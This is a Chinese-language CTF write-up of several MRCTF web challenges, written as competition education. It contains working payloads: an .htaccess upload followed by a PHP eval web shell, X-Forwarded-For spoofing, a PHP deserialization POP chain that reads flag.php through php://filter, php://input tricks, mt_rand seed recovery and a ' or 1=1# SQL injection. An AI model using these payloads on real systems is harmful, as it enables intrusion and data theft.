MRCTF部分web
MRCTF部分web
ez_bypass
考点
没什么难点,绕过
解题过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first step'; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd']; if (!is_numeric($passwd)) { if($passwd==1234567) { echo 'Good Job!'; highlight_file('flag.php'); die('By Retr_0'); } else { echo "can you think twice??"; } } else{ echo 'You can not get it !'; }
} else{ die('only one way to get the flag'); } } else { echo "You are not a real hacker!"; } } else{ die('Please input first'); } }
|
分析代码,我们可以看到有两个关键点
md5($id) === md5($gg) && $id !== $gg
!is_numeric($passwd)
and$passwd==1234567
第一个点,三个等号的md5,可以直接数组绕过,也可以图片碰撞
第二个点,在1234567后加一个换行就好了
构造payload
1 2 3
| GET: ?id[]=2&gg[]=1
POST: passwd=1234567%0a
|
祖安上传
考点
htaccess文件上传解析漏洞
###解题过程
首先有一个点需要注意,才能进行上传,就是数据包里的Content-Type: image/jpeg
修改一下,才能上传,这也是有一个判断的。
fuzz一下发现并没有什么限制上传,而且没有解析漏洞(解析漏洞参考:https://zhuanlan.zhihu.com/p/25149704)
这个时候应该想到htaccess文件上传解析漏洞(参考:https://www.cnblogs.com/xia0zhiwei/p/4713438.html)
知道点构造payload非常easy
上传两次 ,然后蚁剑连上就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| POST /upload.php HTTP/1.1 Host: c1d22653-d001-41b9-86f9-2c63b3867eb5.merak-ctf.site User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------14894814624980587552129722926 Content-Length: 381 Connection: close Referer: http://c1d22653-d001-41b9-86f9-2c63b3867eb5.merak-ctf.site/index.php Cookie: PHPSESSID=7b851876343bf10254c4b886c02ad5ad Upgrade-Insecure-Requests: 1
-----------------------------14894814624980587552129722926 Content-Disposition: form-data; name="uploaded"; filename=".htaccess" Content-Type: image/jpeg
AddType application/x-httpd-php xxx -----------------------------14894814624980587552129722926 Content-Disposition: form-data; name="submit"
一键去世 -----------------------------14894814624980587552129722926--
POST /upload.php HTTP/1.1 Host: c1d22653-d001-41b9-86f9-2c63b3867eb5.merak-ctf.site User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------14894814624980587552129722926 Content-Length: 369 Connection: close Referer: http://c1d22653-d001-41b9-86f9-2c63b3867eb5.merak-ctf.site/index.php Cookie: PHPSESSID=7b851876343bf10254c4b886c02ad5ad Upgrade-Insecure-Requests: 1
-----------------------------14894814624980587552129722926 Content-Disposition: form-data; name="uploaded"; filename="1.xxx" Content-Type: image/jpeg
<?php eval(@$_POST['a']);?> -----------------------------14894814624980587552129722926 Content-Disposition: form-data; name="submit"
一键去世 -----------------------------14894814624980587552129722926--
|
PYwebsite
考点
常识+xff绕过
###解题过程
查看源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| function enc(code){ hash = hex_md5(code); return hash; } function validate(){ var code = document.getElementById("vcode").value; if (code != ""){ if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){ alert("您通过了验证!"); window.location = "./flag.php" }else{ alert("你的授权码不正确!"); } }else{ alert("请输入授权码"); } }
|
有这么一串,需要破解md5,然后会跳转flag.php,但是众所周知md5只有在特定条件下,才可以破解
所以我们直接访问flag.php
提示需要ip,直接xff绕过就好了
1 2 3 4 5 6 7 8 9 10
| GET /flag.php HTTP/1.1 Host: 7a64fa19-48db-434d-982c-aa359f137ad8.merak-ctf.site User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X-Forwarded-For: 127.0.0.1 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0
|
ez_pop
考点
反序列化pop链构造,学习文档建议看官方文档
解题过程
源码给上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| Welcome to index.php <?php
class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } }
class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; }
public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } }
class Test{ public $p; public function __construct(){ $this->p = array(); }
public function __get($key){ $function = $this->p; return $function(); } }
if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
|
做反序列化的题目的时候,建议倒着做,先看怎么样拿到flag
倒数的第一步,我们看到Modifier类,里面有include($value);肯定是这个终点,倒退到__invoke
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
所以我们就找可以调用函数的地方,找到了Test的get,我们把Modifier给Test->p就好了
然后找get方法,读取一个对象的属性时,若不存在,则会调用__get函数。于是我们找读取属性的地方,
找到了Show里面的____toString方法,这个打印一个对象的时被调用。如echo $obj或print $obj;
这个如何调用很简单了,__construct里面就有输出,再调用一次就ok
最后整个链的构造payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <?php class Modifier { public $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } }
class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; }
public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } }
class Test{ public $p; public function __construct(){ $this->p = array(); }
public function __get($key){ $function = $this->p; return $function(); } }
$c = new Modifier(); $c->var = 'flag.php'; $b = new Test(); $b->p = $c; $d = new Show(); $d->str = $b; $a = new Show(); $a->source = $d;
echo serialize($a); var_dump(unserialize($a));
|
因为Modifier里的var是protected,所以我们先暂时修改为public,最后再修改var为%00*%00var
,长度为6
得到
1
| O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:8:"flag.php";}}}s:3:"str";N;}
|
这时候发现flag还是看不到,这是因为单纯的include是看不到后端代码的,所以采用微协议读取
最终版:
1
| O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}
|
套娃
php会把空格或者点(.)自动替换成下划线,可以用来绕过。
http://b429d54b-ab7e-43fa-920c-fdd87d42f11d.merak-ctf.site?b.u.p.t=23333%0a
Jsfuck -> alert(“post me Merak”
post之后看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php error_reporting(0); include 'takeip.php'; ini_set('open_basedir','.'); include 'flag.php';
if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); }
function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!'."<br/>"; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>
|
分析源码,查看需要构造的点,一个是ip绕过,老办法
$_GET['2333'] === 'todat is a happy day'
这个我们可以用php://input协议绕过,具体用法见payload,一看就懂
还有一个点就是构造file参数,按照他的代码逻辑逆一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; }
function rechange($v){ $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) - $i*2 ); } $re = base64_encode($re); return $re; } $a = 'flag.php'; echo change($a); echo rechange($a); ?>
|
然后打payload
1 2 3 4 5 6 7 8 9 10 11 12 13
| GET /secrettw.php?2333=php://input&file=ZmpdYSZmXGI= HTTP/1.1 Host: b429d54b-ab7e-43fa-920c-fdd87d42f11d.merak-ctf.site User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Client-ip:127.0.0.1 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 20
todat is a happy day
|
Ezaudit
考点
源码泄漏,伪随机数,万能密码
解题过程
www.zip泄漏拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| <?php header('Content-type:text/html; charset=utf-8'); error_reporting(0); if(isset($_POST['login'])){ $username = $_POST['username']; $password = $_POST['password']; $Private_key = $_POST['Private_key']; if (($username == '') || ($password == '') ||($Private_key == '')) { header('refresh:2; url=login.html'); echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!"; exit; } else if($Private_key != '*************' ) { header('refresh:2; url=login.html'); echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!"; exit; }
else{ if($Private_key === '************'){ $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; $link=mysql_connect("localhost","root","root"); mysql_select_db("test",$link); $result = mysql_query($getuser); while($row=mysql_fetch_assoc($result)){ echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>"; } } }
}
function public_key($length = 16) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $public_key = ''; for ( $i = 0; $i < $length; $i++ ) $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1); return $public_key; }
function private_key($length = 12) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $private_key = ''; for ( $i = 0; $i < $length; $i++ ) $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1); return $private_key; } $Public_key = public_key();
|
看到使用了mt_rand生成字符串,就知道要用伪随机数爆破了
参考文章:https://blog.csdn.net/zss192/article/details/104327432
先整理字符串
1 2 3 4 5 6 7 8 9 10
| <?php $str = "KVQP0LdJKRaV3n9D"; $randStr = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
for($i=0;$i<strlen($str);$i++){ $pos = strpos($randStr,$str[$i]); echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." "; }
|
然后去爆破就好了,得到种子之后来找字符串,直接输出28位取后面12位就好了
1 2 3 4 5 6 7 8 9 10 11
| <?php function public_key($length =28) { mt_srand(0x69cf57fb); $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $public_key = ''; for ( $i = 0; $i < $length; $i++ ) $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1); return $public_key; } echo public_key(); ?>
|
最后是一个万能密码的考察,也很简单
payload:
1
| username=a&password=' or 1 =1#&Private_key=XuNhoueCDCGc&login=%E7%99%BB%E5%BD%95
|